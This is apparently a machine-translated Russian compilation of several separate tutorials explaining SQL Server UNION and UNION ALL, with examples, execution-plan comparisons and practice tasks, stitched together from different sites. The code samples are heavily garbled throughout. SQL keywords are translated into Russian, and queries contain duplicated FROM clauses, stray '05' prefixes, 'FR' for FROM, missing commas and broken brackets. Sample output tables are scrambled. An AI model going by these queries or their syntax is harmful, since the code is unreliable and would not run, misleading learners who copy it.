  • Мы не можем использовать предложение Order By с отдельным оператором Select.Мы можем использовать его с набором результатов, сгенерированным из объединения обоих операторов Select.

На следующем снимке экрана мы можем понять оператор SQL UNION, используя диаграмму Венна.

  • Таблица A со значениями 1,2,3,4
  • СОЗДАТЬ ТАБЛИЦУ TableA (

    ID INT

    );

    Go

    ВСТАВИТЬ В TableA

    ЗНАЧЕНИЯ (1), (2), (3), (4);

  • Таблица B со значениями 3,4,5,6
  • СОЗДАТЬ ТАБЛИЦУ TableB (

    ID INT

    );

    Go

    ВСТАВИТЬ В ТАБЛИЦУB

    ЗНАЧЕНИЯ (3), (4), (5), (6);

Если мы используем оператор SQL Union между этими двумя таблицами, мы получим следующий результат.

SELECT ID

FROM TableA

UNION

SELECT ID

FROM TableB;

Выход: 1, 2, 3,4,5,6

В моем примере TableA и TableB содержат значения 3 и 4. На выходе мы не получаем повторяющихся значений. Мы получаем только одну строку для каждого повторяющегося значения. Он выполняет операцию DISTINCT для всех столбцов в наборе результатов.

Давайте посмотрим на это на другом примере. В этом примере я создал две таблицы Employee_F и Employee_M в образце базы данных AdventureWorks2017.

Выполните следующий скрипт для таблицы Employee_F

SELECT TOP 5 [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

INTO [AdventureWorks2017].[HumanResources]. [Employee_F]

ОТ [AdventureWorks2017]. [HumanResources]. [Сотрудник]

WHERE MaritalStatus = ‘S’;

Выполнить следующий сценарий для таблицы Employee_M

SELECT TOP 5 [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

INTO [AdventureWorks2017].[HumanResources]. [Employee_M]

ИЗ [AdventureWorks2017]. [HumanResources]. [Сотрудник]

WHERE MaritalStatus = ‘M’;

Обе таблицы не содержат повторяющихся строк в таблицах друг друга. Выполним следующий оператор UNION.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

17

18

19

20

21

22

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [Пол]

FROM AdventureWorks2017]. [HumanResources]. [Employee_F]; UNION

SELECT [NationalIDNumber]

, [LoginID]

, [JobTitle]

, [BirthDate]

, [MaritalStatus]

, [Gender]

ОТ [AdventureWorks2017].[HumanResources]. [Employee_Temp]

В обеих таблицах нет повторяющихся строк. Следовательно, мы получаем все записи из обеих таблиц в выводе оператора SQL Union. Он содержит десять записей на выходе.

Давайте создадим еще одну таблицу, содержащую повторяющиеся строки из обеих таблиц.

SELECT TOP 5 [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

INTO [AdventureWorks2017].[HumanResources]. [Employee_All]

ОТ [AdventureWorks2017]. [HumanResources]. [Сотрудник];

Теперь мы будем использовать оператор SQL UNION между тремя таблицами. Мы все равно должны получить десять записей, потому что [Employee_All] содержит записи, которые уже существуют в таблице Employee_M и Employee_F .

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

17

18

19

20

21

22

23

24

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM AdventureWorks2017]. [HumanResources]. [Employee_F]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

05 [MaritalStatus],

05 [Gender]

ИЗ

[AdventureWorks2017].[HumanResources]. [Employee_All]

На следующем изображении вы можете видеть, что ОБЪЕДИНЕНИЕ этих трех таблиц не содержит повторяющихся значений.

Обзор операторов SQL Union All

Оператор SQL Union All объединяет результат двух или более операторов Select, аналогичных оператору SQL Union, с разницей. Единственное отличие состоит в том, что он не удаляет повторяющиеся строки из вывода оператора Select.

Синтаксис для оператора SQL Union All

SELECT column1, Column2 … Column (N) FROM tableA

Union All

SELECT column1, Column2 … Column (N) FROM tableB;

Давайте повторим предыдущие примеры с оператором SQL Union All.

SELECT ID

FROM TableA

UNION Все

SELECT ID

FROM TableB;

На следующем изображении вы можете увидеть результат работы операторов SQL Union и Union All.SQL Union All возвращает результат обоих операторов Select. Он не удаляет перекрывающиеся строки.

Если в таблицах нет перекрывающихся строк, вывод SQL Union All аналогичен оператору SQL Union.

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION Все

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FR [AdventureWorks2017]. [HumanResources]. [Employee_F]

Мы можем видеть следующий вывод SQL Union All для таблиц Employee_M и Employee_F .

Теперь повторно запустите запрос с тремя таблицами Employee_M и Employee_F и Employee_All .Мы получили 10 записей на выходе SQL Union между этими тремя таблицами. Каждая таблица содержит 5 записей. Мы должны получить 15 строк в выводе оператора Union All для этих таблиц.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

17

18

19

20

21

22

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION Все

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM

[AdventureWorks2017].[HumanResources]. [Employee_All]

SQL Union против Union All Operator

Союз

Союз Все

Он объединяет набор результатов из нескольких таблиц с , удаляя повторяющиеся записи

Он объединяет набор результатов из нескольких таблиц без исключения повторяющихся записей

Он выполняет различие в наборе результатов.

Не выполняет различную работу с набором результатов

Нам нужно указать Союз оператора

Нам нужно указать Union All Operator

SQL Union All обеспечивает лучшую производительность при выполнении запросов по сравнению с SQL Union

Он дает лучшую производительность по сравнению с SQL Union Operator

Разница в плане выполнения в SQL Union и Union All оператора

Мы получаем лучшую производительность запросов, если объединяем набор результатов оператора Select с оператором SQL Union All.Мы можем увидеть разницу, используя планы выполнения в SQL Server.

Примечание : В этой статье я использую ApexSQL Plan , средство просмотра плана выполнения SQL-запроса для создания плана выполнения операторов Select.

План выполнения для SQL Union Operator

Мы можем щелкнуть по оператору сортировки, и он покажет Distinct — True .

  1. Он получает данные отдельного оператора Select
  2. SQL Server выполняет конкатенацию всех данных, возвращаемых операторами Select.
  3. Он выполняет отдельный оператор для удаления повторяющихся строк.

План выполнения для оператора SQL Union All

В плане выполнения как SQL Union, так и Union All мы видим следующую разницу.

  • SQL Union содержит оператор сортировки, стоимость которого составляет 53,7% от общего числа операторов пакетной обработки.
  • Оператор сортировки может быть дороже, если мы работаем с большими наборами данных

Предложение Order By в SQL Union против предложения Union All

Мы не можем использовать предложение Order by с каждым оператором Select. SQL Server может выполнять сортировку только по окончательному набору результатов.

Давайте попробуем использовать Order by с каждым оператором Select.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

17

18

19

20

21

22

23

24

25

26

27

28

29

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

Упорядочить по [JobTitle]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus]

[Пол]

ОТ [AdventureWorks2017]. [HumanResources]. [Employee_F]

Сортировать по [JobTitle]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle]

[Дата рождения],

[Семейное положение],

[Пол]

ИЗ

[AdventureWorks2017].[HumanResources]. [Employee_All]

Сортировать по [JobTitle]

Получаем следующее сообщение об ошибке. Выдает сообщение об ошибке «неправильный синтаксис».

Допустимый запрос для сортировки результатов с использованием предложения Order by в операторе SQL Union выглядит следующим образом.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

17

18

19

20

21

22

23

24

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [Пол]

FROM AdventureWorks2017]. [HumanResources]. [Employee_F]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

05 [Gender]

ОТ [AdventureWorks2017].[HumanResources]. [Employee_All]

ЗАКАЗАТЬ ПО [JobTitle];

Мы получаем следующий результат с набором результатов, отсортированным по столбцу JobTitle .

Комбинация SQL Union и Union All в операторе Select

Мы можем использовать SQL Union vs Union All в операторе Select. Предположим, мы хотим выполнить следующие действия с нашими образцами таблиц.

  • Набор результатов A = UNION между [Employee_F] и [Employee_All]
  • Набор результатов = Объединить все между [Employee_M] и набором результатов A

В следующем запросе мы используем круглые скобки для выполнения объединения между таблицами [Employee_F] и [Employee_All].SQL Server выполняет запрос в круглых скобках, а затем выполняет объединение всех между набором результатов и таблицей [Employee_M].

.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

17

18

19

20

21

22

23

24

25

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Gender]

FROM [AdventureWorks2017].[HumanResources]. [Employee_M]

UNION Все

(- Круглые скобки

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus],

[Пол]

ОТ [AdventureWorks2017]. [HumanResources]. [Employee_F]

UNION

SELECT [NationalIDNumber],

[LoginID],

[JobTitle],

[BirthDate],

[MaritalStatus] [MaritalStatus] ,

[Пол]

ОТ [AdventureWorks2017].[HumanResources]. [Employee_All]

)

Мы легко можем понять это с помощью плана выполнения. На следующем снимке экрана мы видим план фактического выполнения.

Шаг 1 : данные конкатенации (соединение SQL) между таблицей Employee_F и Employee_All .

Шаг 2 : данные конкатенации (SQL Union All) между Employee_M и выходными данными шага 1.

Заключение

В этой статье мы сравнили SQL Union с оператором Union All и рассмотрели примеры с вариантами использования.Надеюсь, вы нашли эту статью полезной. Не стесняйтесь оставлять отзывы в комментариях ниже.

Будучи сертифицированным MCSA и сертифицированным инструктором Microsoft в Гургаоне, Индия, с 13-летним опытом работы, Раджендра работает в различных крупных компаниях, специализируясь на оптимизации производительности, мониторинге, высокой доступности и стратегиях и внедрении аварийного восстановления. Он является автором сотен авторитетных статей о SQL Server, Azure, MySQL, Linux, Power BI, настройке производительности, AWS / Amazon RDS, Git и связанных технологиях, которые на сегодняшний день просмотрели более 10 миллионов читателей.

Он является создателем одного из крупнейших бесплатных онлайн-сборников статей по одной теме с его серией из 50 статей о группах доступности SQL Server Always On. Основываясь на своем вкладе в сообщество SQL Server, он был отмечен различными наградами, включая престижную награду «Лучший автор года» в 2020 и 2021 годах на SQLShack.

Радж всегда интересуется новыми проблемами, поэтому, если вам нужна консультационная помощь по любому вопросу, затронутому в его трудах, с ним можно связаться в Раджендре[email protected]

Посмотреть все сообщения от Rajendra Gupta

Последние сообщения от Rajendra Gupta (посмотреть все)

Union and Union Все в MS SQL Server

1. Union:
Объединение означает объединение двух или более наборов данных в один набор. В SQL Server Union используется для объединения двух запросов в один набор результатов с помощью операторов select. Union извлекает все строки, описанные в запросе.

Синтаксис —

 query1 UNION query2 

Union содержит несколько условий перед использованием в запросе.Одно из таких условий состоит в том, что извлекаемые строки должны происходить из одних и тех же столбцов таблиц.

Пример —

 выберите имя, номер рулона
от студента
СОЮЗ
выберите имя, номер ролика
от оценок 

Стол — Студент

Имя Номер ролика Курс
Maya 111 CSE
Riya 112 Mech

Таблица — Марки

Имя Номенклатурный номер Марки
Maya 111 8.9
Riya 112 7,8

Выход —

Имя Rollnumber Имя Rollnumber
Maya 111 Maya

111
Riya 112 Riya 112

Здесь используются две разные таблицы для извлечения строк, но столбец, указанный для извлечения, одинаков для обоих.Ошибка возникает, если используются разные столбцы. Указанный тип данных также должен быть одинаковым для обоих запросов.

2. Объединение всех:
Объединение используется для извлечения строк с использованием условий, указанных в запросе, в то время как объединение всех используется для извлечения всех строк из набора из двух таблиц.

Синтаксис —

 query1 UNION ALL query2 

Те же условия применимы к Union All. Единственное различие между Union и Union All заключается в том, что Union извлекает строки, указанные в запросе, а Union All извлекает все строки, включая дубликаты (повторяющиеся значения) из обоих запросов.

Вниманию читателя! Не прекращайте учиться сейчас. Изучите SQL для собеседований с помощью курса SQL от GeeksforGeeks.

SQL UNION | Средний уровень SQL

Начиная с этого места? Этот урок является частью полного руководства по использованию SQL для анализа данных. Проверьте начало.

В этом уроке мы рассмотрим:

Оператор SQL UNION

Объединения

SQL позволяют объединить два набора данных бок о бок, а UNION позволяет накладывать один набор данных поверх другого.Иными словами, UNION позволяет вам писать два отдельных оператора SELECT и отображать результаты одного оператора в той же таблице, что и результаты другого оператора.

Давайте попробуем это с инвестиционными данными Crunchbase, которые для целей этого урока разделены на две таблицы. Следующий запрос отобразит все результаты из первой части запроса, а затем все результаты из второй части в той же таблице:

  ВЫБРАТЬ *
  ИЗ учебника.crunchbase_investments_part1

 СОЮЗ

 ВЫБРАТЬ *
   ИЗ tutorial.crunchbase_investments_part2
  

Обратите внимание, что UNION добавляет только отдельные значения. В частности, когда вы используете UNION , набор данных добавляется, и все строки в добавленной таблице, которые точно идентичны строкам в первой таблице, удаляются. Если вы хотите добавить все значения из второй таблицы, используйте UNION ALL . Скорее всего, вы будете использовать UNION ALL гораздо чаще, чем UNION .В этом конкретном случае повторяющихся строк нет, поэтому UNION ALL даст те же результаты:

  ВЫБРАТЬ *
  ИЗ tutorial.crunchbase_investments_part1

 СОЮЗ ВСЕ

 ВЫБРАТЬ *
   ИЗ tutorial.crunchbase_investments_part2
  

SQL имеет строгие правила добавления данных:

  1. Обе таблицы должны иметь одинаковое количество столбцов
  2. Столбцы должны иметь те же типы данных в том же порядке, что и первая таблица

Хотя имена столбцов не обязательно должны быть одинаковыми, вы обнаружите, что обычно они совпадают.Это связано с тем, что большинство случаев, в которых вы хотите использовать UNION , связаны с объединением различных частей одного и того же набора данных (как здесь).

Поскольку вы пишете два отдельных оператора SELECT , вы можете обрабатывать их по-разному перед добавлением. Например, вы можете отфильтровать их по-разному, используя разные предложения WHERE .

Отточите свои навыки работы с SQL

Практическая задача

Напишите запрос, который добавляет два набора данных crunchbase_investments выше (включая повторяющиеся значения).Отфильтруйте первый набор данных только для компаний с названиями, начинающимися с буквы «T», а второй — для компаний с названиями, начинающимися с «M» (оба без учета регистра). Включите только столбцы company_permalink , company_name и investor_name .

Попробуй это
Посмотреть ответ

Для более сложных задач:

Практическая задача

Напишите запрос, который показывает 3 столбца.Первый указывает, из какого набора данных (часть 1 или 2) взяты данные, второй показывает статус компании, а третий — количество инвесторов.

Подсказка: вам нужно будет использовать таблицу tutorial.crunchbase_companies , а также таблицы инвестиций. И вы захотите сгруппировать по статусу и набору данных.

Попробуй это
Посмотреть ответ

Операторы T-SQL SET Часть 1: UNION и UNION ALL

В SQL Server мы можем комбинировать данные одного и того же типа из нескольких таблиц с помощью операторов SET.После объединения нескольких операторов SQL возвращается один набор результатов. Ниже приведен список операторов T-SQL SET:

  1. СОЕДИНЕНИЕ
  2. СОЕДИНЕНИЕ ВСЕ
  3. ПЕРЕСЕЧЕНИЕ
  4. ИСКЛЮЧАЯ

Чтобы использовать операторы SET, мы должны соблюдать ряд правил:

  1. Набор результатов обоих запросов должен иметь одинаковое количество столбцов.
  2. Тип данных столбцов, извлекаемых верхним и нижним запросами, должен быть одинаковым.
  3. Если мы хотим отсортировать окончательный набор результатов, предложение ORDER BY должно быть в конце запроса.
  4. Позиционный порядок столбцов, возвращаемых верхним и нижним запросами, должен быть одинаковым.

В этой статье я объясню следующее:

  1. Оператор UNION и UNION ALL.
  2. Разница между UNION и UNION ALL.
  3. Сравнение производительности UNION и UNION ALL.
  4. Сравнение производительности UNION и UNION ALL с помощью SELECT Distinct.

Что такое UNION

UNION — один из операторов SET.Оператор UNION объединяет результаты, сгенерированные несколькими запросами SQL или несколькими таблицами, и возвращает единый набор результатов. Окончательный набор результатов содержит все строки, возвращенные всеми запросами в UNION, а повторяющиеся строки удаляются.

Ниже приводится синтаксис оператора UNION.

 ВЫБРАТЬ КОЛОНКУ1,
       COLUMN2,
       COLUMN3,
       COLUMN4..FROM TABLE1
СОЮЗ
ВЫБЕРИТЕ COLUMN1,
       COLUMN2,
       COLUMN3,
       COLUMN4..FROM TABLE2
 

Что такое UNION ALL

UNION All также является операторами SET.Подобно UNION, он объединяет результаты, созданные несколькими SQL-запросами или таблицами, и возвращает единый набор результатов. Окончательный набор результатов содержит все строки, возвращенные всеми запросами в UNION ALL, но он также содержит повторяющиеся записи. Следующее изображение иллюстрирует UNION ALL.

Ниже приводится синтаксис оператора UNION ALL.

 ВЫБРАТЬ КОЛОНКУ1,
       COLUMN2,
       COLUMN3,
       COLUMN4.FROM TABLE1
СОЮЗ ВСЕ
ВЫБЕРИТЕ COLUMN1,
       COLUMN2,
       COLUMN3,
       КОЛОНКА 4.ИЗ ТАБЛИЦЫ 2
 

Разница между UNION и UNION ALL

  1. UNION извлекает только отдельные записи из всех запросов или таблиц, тогда как UNION ALL возвращает все записи, полученные запросами.
  2. Производительность UNION ALL выше, чем UNION.

После демонстрации я кратко объясню разницу между UNION и UNION ALL.

Подготовка демонстрационной установки

Чтобы продемонстрировать синтаксис операторов UNION и UNION ALL, я создал следующую настройку.

Сначала создайте две таблицы с именами STUDENT_ GRADE_A и STUDENT _GRADE_B в DemoDatabase . Для этого выполните следующий запрос:

 СОЗДАТЬ ТАБЛИЦУ STUDENT_GRADE_A
  (
     ID INT IDENTITY (1, 1),
     STUDENTNAME VARCHAR (50),
     СИМВОЛ УРОВНЯ (1),
     PERCENTAGE INT
  )
ИДТИ

СОЗДАТЬ ТАБЛИЦУ STUDENT_GRADE_B
  (
     ID INT IDENTITY (1, 1),
     STUDENTNAME VARCHAR (50),
     СИМВОЛ УРОВНЯ (1),
     PERCENTAGE INT
  )

ИДТИ
 

Добавьте фиктивные данные, выполнив следующий запрос:

 ВСТАВИТЬ В СТУДЕНТ_А
ЦЕННОСТИ ('KEN J SÁNCHEZ',
             'А',
             90),
            ('ТЕРРИ ЛИ ДАФФИ',
             'А',
             80),
            ('РОБЕРТО ТАМБУРЕЛЛО',
             'B',
             55),
            ('Роб Уолтерс',
             'B',
             60)

ИДТИ

ВСТАВИТЬ В СТУДЕНТ_B
ЦЕННОСТИ ('ГЕЙЛ ЭРИКСОН',
             'А',
             90),
            ('JOSSEF H GOLDBERG',
             'А',
             50),
            ('ДИАНА Л МАРГЕЙМ',
             'B',
             60),
            ('GIGI N MATTHEW',
             'C',
             35)

ИДТИ
 

Выполните следующий запрос, чтобы просмотреть данные в обеих таблицах:

Теперь давайте объединим набор результатов обоих запросов с помощью UNION.Для этого выполните следующий запрос:

 ИСПОЛЬЗОВАТЬ БАЗУ ДЕМОДАННЫХ
ИДТИ

ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_A
СОЮЗ
ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_B
 

Ниже приводится результат:

Как вы можете видеть на изображении выше, UNION вернул 6 строк вместо 8, это означает, что он объединил вывод обоих запросов, но удалил повторяющиеся записи.

Теперь давайте посмотрим на план выполнения вышеуказанного запроса. Ниже приведен снимок экрана с планом выполнения.

Как видите, оператор UNION сначала объединяет вывод, сгенерированный обоими запросами, с помощью оператора конкатенации (красный прямоугольник), а затем выполняет отдельную операцию (зеленое поле) над набором результатов.

Теперь давайте объединим обе таблицы с помощью UNION ALL. Для этого выполните следующий запрос.

 ИСПОЛЬЗОВАТЬ БАЗУ ДЕМОДАННЫХ
ИДТИ

ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_A
СОЮЗ ВСЕ
ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_B
 

Как я объяснил выше, UNION ALL возвращает совпадающие записи и повторяющиеся записи.Ниже приводится результат:

Как вы можете видеть на скриншоте выше, запрос вернул 8 строк, а окончательный набор результатов содержит повторяющиеся записи.

Теперь давайте посмотрим на план выполнения вышеуказанного запроса. Ниже приведен снимок экрана с планом выполнения.

Как видите, оператор UNION ALL объединяет вывод, сгенерированный обоими запросами, с помощью оператора конкатенации (красный прямоугольник).

Сравнение производительности UNION и UNION ALL

Как я уже упоминал, оператор UNION объединяет результаты и выполняет отдельную сортировку при генерации окончательного набора результатов, тогда как UNION ALL объединяет набор результатов обоих запросов или таблиц.Итак, когда мы используем UNION ALL для объединения наборов результатов, это дает более быстрый результат.

Чтобы продемонстрировать это, выполните следующие запросы:

 ИСПОЛЬЗОВАТЬ БАЗУ ДЕМОДАННЫХ
ИДТИ

ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_A
СОЮЗ
ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_B

ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_A
СОЮЗ ВСЕ
ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_B
 

Ниже приводится план выполнения вышеуказанных запросов:

Как вы можете видеть на изображении выше:

  1. UNION выполняет дорогостоящую отдельную операцию SORT, которая снижает производительность.Стоимость запроса относительно пакета составляет 73%.
  2. UNION ALL не выполняет отдельную сортировку. Стоимость запроса относительно пакета составляет 27%.

Теперь давайте попробуем выполнить UNION ALL для набора результатов, сгенерированного SELECT DISTINCT, и сравним его план выполнения. Для этого выполните следующий запрос:

 / * Запрос с UNION * /
ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_A
СОЮЗ
ВЫБЕРИТЕ СОРТ,
       ПРОЦЕНТ
ОТ STUDENT_GRADE_B
ИДТИ
/ * Запрос с UNION All и Select Distinct * /
ВЫБЕРИТЕ РАЗЛИЧНЫЙ СОРТ,
                ПРОЦЕНТ
ОТ STUDENT_GRADE_A
СОЮЗ ВСЕ
ВЫБЕРИТЕ РАЗЛИЧНЫЙ СОРТ,
                ПРОЦЕНТ
ОТ STUDENT_GRADE_B
 

Ниже приводится план выполнения:

Как вы можете видеть на изображении выше:

  1. UNION: стоимость запроса относительно пакета составляет 38%.
  2. ОБЪЕДИНЕНИЕ ВСЕ с Выбрать отдельный: стоимость запроса относительно пакета составляет 62%.

Итак, объединение UNION ALL с SELECT DISTINCT выполняет два разных вида сортировки, но это не дает преимущества в производительности, фактически, это снижает производительность.

Приведенный выше сценарий доказывает, что:

  1. UNION ALL быстрее и оптимальнее, чем UNION. Но мы не можем использовать его во всех сценариях.
  2. UNION ALL с SELECT DISTINCT не эквивалентно UNION.

Сводка

В этой статье я рассмотрел:

  1. Операторы SET T-SQL.
  2. Что такое UNION и UNION ALL
  3. Сравнение производительности UNION и UNION ALL.

(Посещали 8,042 раза, посещали сегодня 1 раз)

.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *